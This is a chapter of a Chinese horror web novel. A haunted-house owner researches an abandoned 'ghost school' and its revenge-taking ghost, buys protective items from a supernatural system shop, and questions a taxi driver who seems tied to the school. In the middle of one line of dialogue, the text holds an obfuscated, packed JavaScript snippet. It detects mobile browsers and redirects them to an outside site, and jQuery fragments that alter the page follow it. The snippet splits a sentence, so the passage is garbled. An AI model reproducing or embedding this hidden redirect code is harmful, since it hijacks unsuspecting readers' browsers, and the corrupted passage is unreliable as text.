代价，什么样的代价？
贴子里的其他人显然也对这条回复产生了兴趣，有的人追问层主真假，有的人好奇学长到底长什么样子，还有人怂恿他放出更多细节。
但无论怎么催促，L444一条都没有回复，直到姜来翻到最底下，皱起眉。
那是条时隔半年的评论，引用的还是对方自己发出去的楼层。因为论坛已经荒废，没激起半点儿水花。
但回复只有一个字——死。
姜来盯着看了很久，关掉页面，开始搜索「宁坪中学」的相关信息。
检索比想象中困难的多，不少网页已经丢失甚至被屏蔽，只能凭借那些只言片语和官方信息进行拼凑。
宁坪鬼校的原名是宁坪私立中学，地址位于S市老城区的边缘，是一所半封闭式的民办中学。
这所学校主要面向两类学生。
一类是成绩优异但家境贫寒的特招生，学费全免，生活费由学校和学生家长捐助承担；另一类则是本地或附近有钱人家的孩子，只要交得起高昂的赞助费，便能混一张体面的毕业证书。
从某个角度看，特招生是靠那些整日招摇、学业无成的富家子弟资助的。
两类人共处一校，甚至同一个班级，矛盾可想而知。
校园霸凌、孤立、替考嫌疑……各种不该在校园出现的词汇频繁出现在报道和论坛中。学校甚至几次被教育局谈话，要求整改，但始终没结果。
直到二十年前，宁坪中学毫无征兆的宣布停办。官方给出的理由是“生源不足”和“资金断裂”，但姜来觉得没那么简单，一定发生了什么事。而这件事，必定和「复仇鬼」密切相关。
只是不管她怎么搜，都搜不出有用的信息。姜来指尖轻点桌面，紧皱起眉头——事情有些麻烦了。
如果L444说的不假，“学长”帮着复仇杀掉了欺负他的人，那「复仇鬼」真的适合做恐怖屋的员工吗？
冯知意的代号是「爱哭鬼」，可以看出系统给的代号和妖鬼自身能力是相关的，而复仇听起来危险性极高。
即便签订合同后妖鬼不会伤害活人，但收服风险也必然比冯知意多得多，只怕没那么容易说服。
看着正在倒数的时间，姜来点开系统面板，进入商城。溜了一圈下来，只觉得自己捉襟见肘，穷鬼一个。
她现在手里只剩下300枚妖鬼币，之前的妖鬼币全部用于购买鬼新娘的服饰。而系统里的东西完全不便宜，价格最低的护身符就要150枚。
姜来买了两张，账户瞬间清零。
缺钱，真的太缺了。
看着系统商城里那些形形色色的道具，姜来咬了咬牙，将这几天的收益全部兑换成妖鬼币，买了瓶「镇定喷雾」。
【产品名称】镇定喷雾
【规格】60mL/瓶
【适用对象】妖鬼及受侵害对象
【核心功效】快速收敛躁动魂体，平复戾气、狂乱等症状，抑制冲动行为；可缓解因恐惧造成的惊厥，净神凝魂。
【注意事项】本品仅作镇定辅助，不可代替专业工具。对怨气极重、修行时间较长的妖鬼作用较低，建议慎重。
这瓶喷雾姜来很早就看中了，价格是400妖鬼币。虽然有些贵，但是很值得。这次任务用剩下了，还可以在恐怖屋中给顾客使用。
送走最后一波客人，姜来关闭恐怖屋的大门，挂上暂停歇业的牌子，转身钻进杂物间做准备。
“两张护身符、一瓶镇定喷雾、手机、充电宝、手电筒、打火机……再装上些食物和水，即便被困应该也足够了。”
姜来将东西装进背包，刚转过身，迎头装上冯知意那张好奇的脸。
“老板，你要去哪？”
没料到背后灵的姜来呼吸停滞两秒，扯了扯嘴角：“去给你找同事。”
“找同事？谁啊，我能跟着一起去吗？哪里人啊，好不好接触。”
见姜来不回答，态度抗拒，冯知意撇了撇嘴，身上淡淡的阴气如蒲公英般散开。她也不说话，就寸步不离的跟在姜来后面，就差附身上了。
姜来走到哪她飘到哪，姜来停下她也停下——活像只被主人遗弃的小狗。
“你站住。”姜来手扶在门框，无奈的看着冯知意，“你需要看家。”
“可是万一那个新同事不好相处呢。”冯知意凶恶的挥了下拳头，“我帮你揍他。”
揍鬼吗……
好像也不是不行？
“系统，可以带着冯知意一起去吗？我记得48小时可以调度的。”
【是这样，但恐怖屋具有约束性，如果长时间离开会损害魂体。】
姜来垂下眼眸思考。
系统的话翻译一下就是，和恐怖屋签订协议的妖鬼具有地缚性质，但是可以48小时内调度。那她是否可以理解为，恐怖屋内的妖鬼不具备“随行性”，但是具有“召唤性”？
定睛看着冯知意，姜来有了打算，笑着说：“很好的建议，如果有需要我会叫你，就像你来到恐怖屋第一天那样，我们和新同事玩儿个出其不备。”
冯知意眼睛亮了亮，哦了一声，哼着《坟场》的小曲飘进休息室。
姜来也随即动身，站在马路边的共享单车旁好久，叫了辆网约车。
宁坪鬼校太远了，又被抹去了具体地址，非常不好找。附近又是大片荒地，基本没有人烟，只能定位到附近，然后再依靠系统的指引走过去。
“小姑娘，你这个地址没选错嘛，大晚上的孤身一人去那么荒的地方，很不安全的。”司机大叔借着后视镜往后看，瞧见姜来姣好的面容，忍不住提醒。
姜来抬起低垂的头，苍白的脸色衬得她的眼睛漆黑如墨：“地址确实是错的，但没关系，您开就是了。我想那么荒的地方只会有鬼，不会有坏人，还是很安全的。”
比起人，还是鬼更安全。
司机大叔笑了笑：“你这小姑娘还挺幽默，这世界上哪有鬼咧。你想去哪直接告诉我，这导航没我好使！”
“哦？”姜来系好安全带，“那你知不知道宁坪中学，我要去那里。”
“去宁坪中学是吧，我这就——”司机的话戛然而止，表情突变，“宁坪中学？你要去宁坪中学！”
姜来不动声色的观察司机的表情：“对，听说那里闹鬼，我想去探探虚实。说是有个‘鬼学长’，能帮被欺负的学生复仇。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372807|200006||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听您的意思是认识路的，直接把我送去那里就好。”
司机牙关紧锁，脸色非常难看，好半晌才挤出话来：“听说过，但具体怎么走，我这儿一时半会儿的还真想不起来了。我记得，那学校倒闭很久了吧，估计路早就不通了，小姑娘还是别去了。”
“得去。”姜来幽幽的叹口气。
不去简直吃大亏了，她这两天做梦都想顺利完成这个限时任务，眼前全是叮叮当当的妖鬼币。系统给的奖励还是太丰厚、太诱人了。
见拗不过姜来，中年司机只能发动车机，踩下油门，按照导航的指示往宁坪中学的方向开。
看着一言不发但是脸色越来越阴沉的司机，姜来觉得有古怪。
“师傅，你是知道这个鬼学长吗？”
“不是很清楚。”
“也是，毕竟有很大可能是杜撰的。那您知道这个学校为什么突然关闭吗？挺奇怪的，网上也搜不到什么消息。”
司机沉默许久，突然道：“大概是做了什么对不起学生的亏心事吧，毕竟哪有学校突然关闭的。”
“不一定吧。”姜来身体微微前倾，将话题绕回去，“万一是因为闹鬼呢，学校为了学生的安全，不得不采取措施。”
车厢安静了两秒。
“放屁！”中年司机突然爆呵，“就算真闹鬼，也是那群畜生逼出来的，他们才不会在意学生的安危。王八羔子们只在乎钱，采取措施……呵。”
愤怒的声音回荡在狭小的车厢内，嗅到真相的姜来挑了挑眉。
这位司机——
不，这位司机的孩子，一定和宁坪中学有关！甚至极有可能是促使宁坪中学的关停、变成鬼校的原因之一。
只是这其中的缘由怕是问不出来，并且问的时机不大合适。感受着越来越快的车速，姜来有些懊恼的揉了揉眉心，没再开口说话，将手伸进包里。
姜来终究是没坐到宁坪中学的校门口，在一处荒僻的路口下了车。
把钱扫过去，正要离开，驾驶座的车窗降了下来。中年男人紧蹙着眉头，苦大仇深的看着她，欲言又止。
好半天，他看着姜来道：“那里不是什么好地方，你想看就看，但尽快回来，我在这儿等你，这里不好打车。你……是不是身体不舒服，还是回家吧，要是父母知道你大半夜乱跑，会担心的。”
姜来抿了抿有些干裂的嘴唇，清浅的笑了笑：“那就更要去了。您不用等我，怕是一时半会儿不能结束。您也早点儿回家，别让您女儿担心。”
“你怎么知道——”司机瞪大眼睛。
姜来笑了笑，没解释。目送红色的车尾灯消失在薄雾中，她裹紧外套，按照系统的指引再次出发。
越往里走，雾气越重。
明明是夏天，但这片地却格外的阴冷。路上基本没有灯，只能凭借着手电筒微薄的光前行，连鞋子都难以看清。
可等宁坪中学出现在视野里的时候，雾气诡异的散开了。
脚下有些开裂的水泥路沿着生锈的铁栅栏铺就，早已枯死的藤蔓缠在锈迹斑斑的栅栏上，像是一条条干瘪的血管，纠缠在一起找不到首尾。
忽明忽暗的路灯下，站着三个人。